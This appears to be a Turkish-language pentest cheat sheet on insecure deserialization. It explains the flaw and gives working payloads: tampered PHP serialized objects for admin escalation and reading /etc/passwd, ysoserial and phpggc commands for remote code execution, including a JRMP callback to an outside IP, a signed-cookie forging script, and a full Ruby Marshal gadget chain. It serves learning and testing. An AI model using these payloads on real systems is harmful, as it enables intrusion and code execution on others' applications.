Insecure Deserialization
Insecure Deserialization
Serialization, bir nesnenin bellekteki durumunun (Örneğin Java nesnesi) dosya, veri tabanı ya da ağ üzerinden iletilebilecek veya saklanabilecek bir formata (genellikle JSON, XML, binary vb.) dönüştürülmesidir.
Deserialization ise bu işlemin tersidir, yani bu formatta gelen verinin tekrar orijinal nesne haline getirilmesidir.
Insecure deserialization ise bir uygulamanın dış kaynaklardan gelen serileştirilmiş veriyi doğrulamadan veya güvenlik kontrolleri olmadan işlemesi sonucu oluşan bir güvenlik açığıdır.
Bu durum, saldırganların özel olarak hazırlanmış zararlı veri göndererek uygulamanın beklenmeyen davranışlar sergilemesine, sistemde yetkisiz işlemler yapmasına veya uzaktan kod çalıştırmasına yol açabilir.
Özellikle Java, PHP, Python gibi dillerde bu risk yaygındır.

Saldırı Yöntemleri
Veri Değerlerini Değiştirme
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}
Veri Tipini Değiştirme
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"q56idwg2i18xkqp57f2qme64va8hd9pj";}
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
Dosya Okuma
O:4:"User":3:{s:8:"username";s:6:"wiener";s:11:"avatar_link";s:19:"users/wiener/avatar";}
O:4:"User":3:{s:8:"username";s:6:"wiener";s:11:"avatar_link";s:11:"/etc/passwd";}
Object Injection
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"lfkxpxd545wnk0fnhmnscqajliql7gcl";}
O:11:"CustomClass":1:{s:14:"lock_file_path";s:11:"/etc/passwd";}
Java Deserialization
YsoSerial: https://github.com/frohoff/ysoserial
java -jar --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens=java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED ysoserial-all.jar CommonsCollections4 'whoami' | base64 -w 0
./java -jar ysoserial-all.jar "JRMPClient" "10.100.13.200:80" | base64 -w 0
./java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 80 CommonsCollections1 "ping -c 3 10.100.13.200"
tcpdump -i tap0 icmp
PHP Deserialization
phpggc Symfony/RCE4 exec 'whoami' | base64 -w 0
<?php
$object = "<PAYLOAD>";
$secretKey = "<PHPINFO_SECRETKEY>";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;
?>
Ruby Deserialization
gem install rails
gem install sprockets
require 'rails/all'
require 'base64'
Gem::SpecFetcher
Gem::Installer
require 'sprockets'
class Gem::Package::TarReader
end
d = Rack::Response.allocate
d.instance_variable_set(:@buffered, false)
d0=Rails::Initializable::Initializer.allocate
d0.instance_variable_set(:@context,Sprockets::Context.allocate)
d1=Gem::Security::Policy.allocate
d1.instance_variable_set(:@name,{ :filename => "/tmp/xyz.txt", :environment => d0 , :data => "<%= `whoami` %>", :metadata => {}})
d2=Set.new([d1])
d.instance_variable_set(:@body, d2)
d.instance_variable_set(:@writer, Sprockets::ERBProcessor.allocate)
c=Logger.allocate
c.instance_variable_set(:@logdev, d)
e=Gem::Package::TarReader::Entry.allocate
e.instance_variable_set(:@read,2)
e.instance_variable_set(:@header,"bbbb")
b=Net::BufferedIO.allocate
b.instance_variable_set(:@io,e)
b.instance_variable_set(:@debug_output,c)
$a=Gem::Package::TarReader.allocate
$a.instance_variable_set(:@io,b)
module ActiveRecord
module Associations
class Association
def marshal_dump
# Gem::Installer instance is also set here
# because it autoloads Gem::Package which is
# required in rest of the chain
[Gem::Installer.allocate,$a]
end
end
end
end
final = ActiveRecord::Associations::Association.allocate
puts Base64.encode64(Marshal.dump(final)).gsub("\n", "")
Önlemler
Genel olarak konuşmak gerekirse, kesinlikle gerekli olmadıkça kullanıcı girdisinin deserializasyonundan kaçınılmalıdır.
Güvenilmeyen kaynaklardan gelen verileri yeniden derlemeniz gerekiyorsa, verilerin kurcalanmadığından emin olmak için sağlam önlemler alın. Örneğin, verilerin bütünlüğünü kontrol etmek için bir dijital imza uygulayabilirsiniz. Bununla birlikte, tüm kontrollerin deserializasyon işlemine başlamadan önce gerçekleştirilmesi gerektiğini unutmayın.
Mümkünse, genel serileştirme özelliklerini kullanmaktan tamamen kaçınmalısınız. Bu yöntemlerle serileştirilen veriler, potansiyel olarak hassas bilgiler içeren özel alanlar da dahil olmak üzere orijinal nesnenin tüm niteliklerini içerir. Bunun yerine, en azından hangi alanların açığa çıkacağını kontrol edebilmek için kendi sınıfa özgü serileştirme yöntemlerinizi oluşturabilirsiniz.
Kaynaklar
Portswigger Academy: https://portswigger.net/web-security/deserialization
Last updated
Was this helpful?